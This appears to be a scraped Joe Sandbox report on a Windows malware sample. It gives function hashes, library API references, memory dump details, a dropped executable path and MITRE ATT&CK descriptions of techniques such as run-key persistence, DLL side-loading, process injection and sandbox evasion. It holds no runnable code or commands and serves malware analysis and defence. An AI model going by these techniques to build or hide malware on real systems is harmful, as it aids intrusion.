Opcode ID: 56981159b78f17c5b562ff2e7d8da521ae3d0b0f004ad004817d56aaae5714f0
Instruction ID: 7ac7e521c84300ad453423b6d132e18307e481511a592d402c42c44ac5e64213
Opcode Fuzzy Hash: 56981159b78f17c5b562ff2e7d8da521ae3d0b0f004ad004817d56aaae5714f0
Instruction Fuzzy Hash: 3E21B874A40208EBEB54CF94D995B9EB7B1BB48708F204588E9046F3C1D7B6AF45EBC4

Function 04020E40 Relevance: 6.2, APIs: 4, Instructions: 209COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 04020F04
_strlen.LIBCMT ref: 04020F2A
_strlen.LIBCMT ref: 04020F5F
_strlen.LIBCMT ref: 04020FC6

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: cc552e2788ec19ea4224f0d46fe881bc41ece34d1291b5b1bd72de5b41e52a96
Instruction ID: 6b2d4ef1dc70f01762c9ea93bfd451974196985589b21f9b2b8d381f5f98cc15
Opcode Fuzzy Hash: cc552e2788ec19ea4224f0d46fe881bc41ece34d1291b5b1bd72de5b41e52a96
Instruction Fuzzy Hash: 7791D8B4E00219DFDF44DF98D580AEEBBB1BF48318F248169E505B7381E735AA41CB56

Function 04015C60 Relevance: 6.2, APIs: 4, Instructions: 192COMMON

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 04015D58
codecvt.LIBCPMTD ref: 04015E53

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 02833dcf54a586269b43c7a5692cfb048f7b9c5c918048c8dbaad8ebd72bbd88
Instruction ID: 8b2e742d592aba65153c7364a6cd7b1473e8eb5661a5a9f51c834e1a389ae5c1
Opcode Fuzzy Hash: 02833dcf54a586269b43c7a5692cfb048f7b9c5c918048c8dbaad8ebd72bbd88
Instruction Fuzzy Hash: 87811A74E04218EFEB58DF94D894BADBBB2AF88318F148159E4057F3A1C775B986CB40

Function 040126B0 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04012714
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0401278A
_strlen.LIBCMT ref: 040127AA
codecvt.LIBCPMTD ref: 04012800

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: Iterator_baseIterator_base::_std::_$_strlencodecvt
String ID:
API String ID: 4053968246-0
Opcode ID: 169dd0bcd0e1bc8557198bf3e789645acc63f33ee09107aa3db1908fa965f152
Instruction ID: af42a25bd155b3b5d7a86e069f6b5acb66482dcb96fdedbe39403f86dc1ab7a6
Opcode Fuzzy Hash: 169dd0bcd0e1bc8557198bf3e789645acc63f33ee09107aa3db1908fa965f152
Instruction Fuzzy Hash: 4951D6B4E01208AFEB14DFA4E984BEEBBB1BF48308F108169E815B73A0D7716945CF55

Function 04014EC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 04014EEC
codecvt.LIBCPMTD ref: 04014F2A
codecvt.LIBCPMTD ref: 04014F68
codecvt.LIBCPMTD ref: 04014FA6

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 293eff8e08c402cabf5be0573675e725eacdbb13c63a1d46bf353841e3f01ce6
Instruction ID: 6fde489f6c5f844b1c7bf651d9850ea7eb6d4f342482ed0b4f1dd667ca52f8cd
Opcode Fuzzy Hash: 293eff8e08c402cabf5be0573675e725eacdbb13c63a1d46bf353841e3f01ce6
Instruction Fuzzy Hash: 7D416E74A00209DBDB04CF94D694BEEBBF2BB48308F248199D4057B3A1D776AE85DF90

Function 0400CBC9 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0400CBD5

Part of subcall function 04009556: __getptd_noexit.LIBCMT ref: 04009559
Part of subcall function 04009556: __amsg_exit.LIBCMT ref: 04009566

__getptd.LIBCMT ref: 0400CBEC
__amsg_exit.LIBCMT ref: 0400CBFA
__lock.LIBCMT ref: 0400CC0A

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 1f0354d96fabdbc1a2ba5b958ed8245a13b2cce1e2fe9863332c0abb1a1d4ff1
Instruction ID: 775b438eefefd3dc35736b17a6f12e75e8ac1b8e9e2c3c2db30c63f4ae9875e3
Opcode Fuzzy Hash: 1f0354d96fabdbc1a2ba5b958ed8245a13b2cce1e2fe9863332c0abb1a1d4ff1
Instruction Fuzzy Hash: 3EF06D71A19704CBF724BBA98801B8933E06B0072CF55C219C041BB2D1CB34B902CB55

Function 0401F9F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 212COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0401FA74
_strlen.LIBCMT ref: 0401FAC9

Strings

duB, xrefs: 0401FA3B

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset_strlen
String ID: duB
API String ID: 2279092321-2047154145
Opcode ID: 8ef916ac99e2acd8d5d850c8b0a63cac94112d2d259028affcb04b3b3e16ebb3
Instruction ID: c505e5f8326b13ea594a17ca5410903a82e5ac8279d4bf993f0f99441c28ac3a
Opcode Fuzzy Hash: 8ef916ac99e2acd8d5d850c8b0a63cac94112d2d259028affcb04b3b3e16ebb3
Instruction Fuzzy Hash: 1F913BB5D00218AFDB54CFD8D880BAEB7B5BF48318F14C159E909A7341EB35AA85CF51

Function 0401C2A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0401C352

Strings

d, xrefs: 0401C2FA
d, xrefs: 0401C328

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset
String ID: d$d
API String ID: 2102423945-195624457
Opcode ID: 9623b1273be0775a15697b469d724f7f2ac93ca0881c6a5774c0b2da6d5538b3
Instruction ID: 6121a1327febe31ce23874249aa6888692dbc835ca9b57b63cb1d65f5ac047f3
Opcode Fuzzy Hash: 9623b1273be0775a15697b469d724f7f2ac93ca0881c6a5774c0b2da6d5538b3
Instruction Fuzzy Hash: C79138B4E44218EBEB14DF94D484AEEB7B1FF49308F108559E816BB360D375EA81CB91

Function 040251F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04025242
_strlen.LIBCMT ref: 04025276

Strings

@, xrefs: 04025220

Memory Dump Source

Source File: 00000004.00000002.3541385469.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000004.00000002.3541385469.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4000000_svchost.jbxd

Yara matches

Similarity

API ID: _memset_strlen
String ID: @
API String ID: 2279092321-2766056989
Opcode ID: 465e3f5f656527acc1b894b08e49c7e6ede76f44b8deec7e1eed15ce09421514
Instruction ID: 9095bb450417fa4dd51ea0b819b640531f396c38f351a606dd718691427917c8
Opcode Fuzzy Hash: 465e3f5f656527acc1b894b08e49c7e6ede76f44b8deec7e1eed15ce09421514
Instruction Fuzzy Hash: 5B1142B5E00208FFDB10DFE4DD45BEE77B4AB48314F508254E61477280E635BA458B65

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yGktPvplJn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\89dad5d484a9f889a3a8dfca823edc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\c5d8393293ce2ba62f117b2c2d55bc3e_9e146be9-c76a-4720-bcdb-53011b87bd06

C:\Users\user\pigalicapi.exe

C:\Users\user\pigalicapi.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
yGktPvplJn.exe

Function 00401005 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 43
libraryloaderCOMMON

Function 0408BF20 Relevance: 7.7, APIs: 5, Instructions: 206
librarymemoryloaderCOMMON

Function 04001780 Relevance: 13.6, APIs: 9, Instructions: 118
sleepthreadsynchronizationCOMMON

Function 04001160 Relevance: 10.6, APIs: 7, Instructions: 85
networkCOMMON

Function 04001490 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90
sleepstringCOMMON

Function 040014B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
sleepstringCOMMON

Function 040014DB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72
sleepstringCOMMON

Function 04001989 Relevance: 4.6, APIs: 3, Instructions: 96
sleepthreadsynchronizationCOMMON

Function 004011CD Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Function 00401126 Relevance: 1.3, APIs: 1, Instructions: 66
memoryCOMMON